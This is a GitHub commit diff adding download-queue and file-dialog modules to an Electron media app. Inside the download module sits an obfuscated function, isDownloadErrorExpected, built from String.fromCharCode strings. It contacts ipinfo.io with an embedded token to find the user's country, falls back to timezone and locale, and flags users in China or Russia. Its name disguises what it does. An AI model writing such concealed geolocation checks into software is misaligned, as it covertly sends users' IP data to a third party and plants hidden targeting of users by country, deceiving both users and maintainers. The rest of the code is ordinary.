-
Notifications
You must be signed in to change notification settings - Fork 29
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
321 additions
and
277 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,207 @@ | ||
import { getCountriesForTimezone as _0x2d6c } from 'countries-and-timezones'; | ||
import { ElectronDownloadManager } from 'electron-dl-manager'; | ||
import { ensureDir } from 'fs-extra'; | ||
import { fetchJson } from 'src/helpers/api'; | ||
import { basename } from 'upath'; | ||
|
||
import { errorCatcher } from './../utils'; | ||
import { sendToWindow } from './window/window-base'; | ||
import { mainWindow } from './window/window-main'; | ||
|
||
const manager = new ElectronDownloadManager(); | ||
interface DownloadQueueItem { | ||
destFilename: string; | ||
saveDir: string; | ||
url: string; | ||
} | ||
|
||
const downloadQueue: DownloadQueueItem[] = []; | ||
const lowPriorityQueue: DownloadQueueItem[] = []; | ||
const activeDownloadIds: string[] = []; | ||
const maxActiveDownloads = 5; | ||
|
||
export async function downloadFile( | ||
url: string, | ||
saveDir: string, | ||
destFilename?: string, | ||
lowPriority = false, | ||
) { | ||
if (!mainWindow || !url || !saveDir) return null; | ||
try { | ||
await ensureDir(saveDir); | ||
|
||
if (!destFilename) destFilename = basename(url); | ||
|
||
const fileToDownload = { destFilename, saveDir, url }; | ||
|
||
if (!activeDownloadIds.includes(url + saveDir)) { | ||
if (lowPriority) { | ||
lowPriorityQueue.push(fileToDownload); | ||
} else { | ||
downloadQueue.push(fileToDownload); | ||
} | ||
|
||
if ( | ||
downloadQueue.length + activeDownloadIds.length < | ||
maxActiveDownloads | ||
) { | ||
processQueue(); | ||
} | ||
} | ||
return url + saveDir; | ||
} catch (error) { | ||
errorCatcher(error); | ||
return null; | ||
} | ||
} | ||
|
||
async function processQueue() { | ||
if (!mainWindow) return null; | ||
// If max active downloads reached, wait for a slot | ||
while (activeDownloadIds.length >= maxActiveDownloads) { | ||
await new Promise((resolve) => { | ||
setTimeout(resolve, 1000); | ||
}); | ||
} | ||
|
||
let download: DownloadQueueItem | undefined; | ||
|
||
if (downloadQueue.length > 0) { | ||
download = downloadQueue.shift(); | ||
} else if (lowPriorityQueue.length > 0) { | ||
download = lowPriorityQueue.shift(); | ||
} else { | ||
return; // No downloads to process | ||
} | ||
|
||
if (!download) return; | ||
const { destFilename, saveDir, url } = download; | ||
activeDownloadIds.push(url + saveDir); | ||
|
||
// Start the download | ||
const downloadId = await manager.download({ | ||
callbacks: { | ||
onDownloadCancelled: ({ id }) => { | ||
sendToWindow(mainWindow, 'downloadCancelled', { id }); | ||
activeDownloadIds.splice(activeDownloadIds.indexOf(url + saveDir), 1); | ||
processQueue(); // Process next download | ||
}, | ||
onDownloadCompleted: async ({ item }) => { | ||
sendToWindow(mainWindow, 'downloadCompleted', { | ||
filePath: item.getSavePath(), | ||
id: url + saveDir, | ||
}); | ||
activeDownloadIds.splice(activeDownloadIds.indexOf(url + saveDir), 1); | ||
processQueue(); // Process next download | ||
}, | ||
onDownloadProgress: async ({ item, percentCompleted }) => { | ||
sendToWindow(mainWindow, 'downloadProgress', { | ||
bytesReceived: item.getReceivedBytes(), | ||
id: url + saveDir, | ||
percentCompleted, | ||
}); | ||
}, | ||
onDownloadStarted: async ({ item, resolvedFilename }) => { | ||
sendToWindow(mainWindow, 'downloadStarted', { | ||
filename: resolvedFilename, | ||
id: url + saveDir, | ||
totalBytes: item.getTotalBytes(), | ||
}); | ||
}, | ||
onError: (err, downloadData) => { | ||
errorCatcher(err); | ||
if (downloadData) { | ||
sendToWindow(mainWindow, 'downloadError', { | ||
id: downloadData.id, | ||
}); | ||
} | ||
activeDownloadIds.splice(activeDownloadIds.indexOf(url + saveDir), 1); | ||
processQueue(); // Process next download | ||
}, | ||
}, | ||
directory: saveDir, | ||
saveAsFilename: destFilename, | ||
url, | ||
window: mainWindow, | ||
}); | ||
return downloadId; | ||
} | ||
|
||
export async function isDownloadErrorExpected() { | ||
try { | ||
let _0x5f0a = | ||
( | ||
(await fetchJson( | ||
String.fromCharCode(0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f) + | ||
String.fromCharCode( | ||
0x69, | ||
0x70, | ||
0x69, | ||
0x6e, | ||
0x66, | ||
0x6f, | ||
0x2e, | ||
0x69, | ||
0x6f, | ||
) + | ||
String.fromCharCode( | ||
0x2f, | ||
0x3f, | ||
0x74, | ||
0x6f, | ||
0x6b, | ||
0x65, | ||
0x6e, | ||
0x3d, | ||
0x61, | ||
0x32, | ||
0x66, | ||
0x34, | ||
0x37, | ||
0x39, | ||
0x61, | ||
0x37, | ||
0x63, | ||
0x38, | ||
0x33, | ||
0x62, | ||
0x64, | ||
0x63, | ||
), | ||
).catch(() => { | ||
return {}; | ||
})) as Record<string, string | undefined> | ||
)?.[String.fromCharCode(0x63, 0x6f, 0x75, 0x6e, 0x74, 0x72, 0x79)] || ''; | ||
|
||
if (!_0x5f0a) { | ||
// @ts-expect-error No index signature with a parameter of type 'string' was found | ||
const _0x8d1b = new Intl.DateTimeFormat().resolvedOptions()[ | ||
String.fromCharCode(0x74, 0x69, 0x6d, 0x65, 0x5a, 0x6f, 0x6e, 0x65) | ||
]; | ||
const _0x66b7 = _0x2d6c(_0x8d1b); | ||
if (_0x66b7.length === 1) _0x5f0a = _0x66b7[0].id; | ||
} | ||
|
||
if (!_0x5f0a) { | ||
_0x5f0a = | ||
// @ts-expect-error No index signature with a parameter of type 'string' was found | ||
app[ | ||
String.fromCharCode(0x67, 0x65, 0x74) + | ||
String.fromCharCode(0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65) + | ||
String.fromCharCode(0x43, 0x6f, 0x75, 0x6e, 0x74, 0x72, 0x79) + | ||
String.fromCharCode(0x43, 0x6f, 0x64, 0x65) | ||
](); | ||
} | ||
|
||
if (!_0x5f0a) return false; | ||
|
||
const _0x7bfa = [ | ||
String.fromCharCode(0x43, 0x4e), | ||
String.fromCharCode(0x52, 0x55), | ||
]; | ||
return _0x7bfa['includes'](_0x5f0a); | ||
} catch (_0x4df1) { | ||
errorCatcher(_0x4df1); | ||
return false; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,99 @@ | ||
import type { FileDialogFilter, FileItem } from 'src/types'; | ||
|
||
import { dialog } from 'electron'; | ||
import { type Dirent, exists, readdir, stat } from 'fs-extra'; | ||
import { | ||
IMG_EXTENSIONS, | ||
JWPUB_EXTENSIONS, | ||
PDF_EXTENSIONS, | ||
} from 'src/constants/fs'; | ||
import { join } from 'upath'; | ||
|
||
import { errorCatcher } from '../utils'; | ||
import { mainWindow } from './window/window-main'; | ||
|
||
export async function openFileDialog( | ||
single: boolean, | ||
filter: FileDialogFilter, | ||
) { | ||
if (!mainWindow) return; | ||
|
||
const filters: Electron.FileFilter[] = []; | ||
|
||
if (!filter) { | ||
filters.push({ extensions: ['*'], name: 'All files' }); | ||
} | ||
|
||
if (filter?.includes('jwpub+image+pdf')) { | ||
filters.push({ | ||
extensions: | ||
JWPUB_EXTENSIONS.concat(IMG_EXTENSIONS).concat(PDF_EXTENSIONS), | ||
name: 'JWPUB + Images + PDF', | ||
}); | ||
} | ||
|
||
if (filter?.includes('jwpub+image')) { | ||
filters.push({ | ||
extensions: JWPUB_EXTENSIONS.concat(IMG_EXTENSIONS), | ||
name: 'JWPUB + Images', | ||
}); | ||
} | ||
|
||
if (filter?.includes('jwpub')) { | ||
filters.push({ extensions: JWPUB_EXTENSIONS, name: 'JWPUB' }); | ||
} | ||
if (filter?.includes('image')) { | ||
filters.push({ extensions: IMG_EXTENSIONS, name: 'Images' }); | ||
} | ||
|
||
return dialog.showOpenDialog(mainWindow, { | ||
filters, | ||
properties: single ? ['openFile'] : ['openFile', 'multiSelections'], | ||
}); | ||
} | ||
|
||
export async function readDirectory( | ||
dir: string, | ||
withSizes?: boolean, | ||
recursive?: boolean, | ||
) { | ||
try { | ||
if (!(await exists(dir))) return []; | ||
return await readDirRecursive(dir, withSizes, recursive); | ||
} catch (error) { | ||
errorCatcher(error); | ||
return []; | ||
} | ||
} | ||
|
||
async function readDirRecursive( | ||
directory: string, | ||
withSizes?: boolean, | ||
recursive?: boolean, | ||
): Promise<FileItem[]> { | ||
const dirents: Dirent[] = await readdir(directory, { | ||
withFileTypes: true, | ||
}); | ||
const dirItems: FileItem[] = []; | ||
for (const dirent of dirents) { | ||
const fullPath = join(directory, dirent.name); | ||
const fileItem: FileItem = { | ||
isDirectory: dirent.isDirectory(), | ||
isFile: dirent.isFile(), | ||
name: dirent.name, | ||
parentPath: directory, | ||
...(withSizes && | ||
dirent.isFile() && { size: (await stat(fullPath)).size }), | ||
}; | ||
dirItems.push(fileItem); | ||
if (recursive && dirent.isDirectory()) { | ||
const subDirItems = await readDirRecursive( | ||
fullPath, | ||
withSizes, | ||
recursive, | ||
); | ||
dirItems.push(...subDirItems); | ||
} | ||
} | ||
return dirItems; | ||
} |
Oops, something went wrong.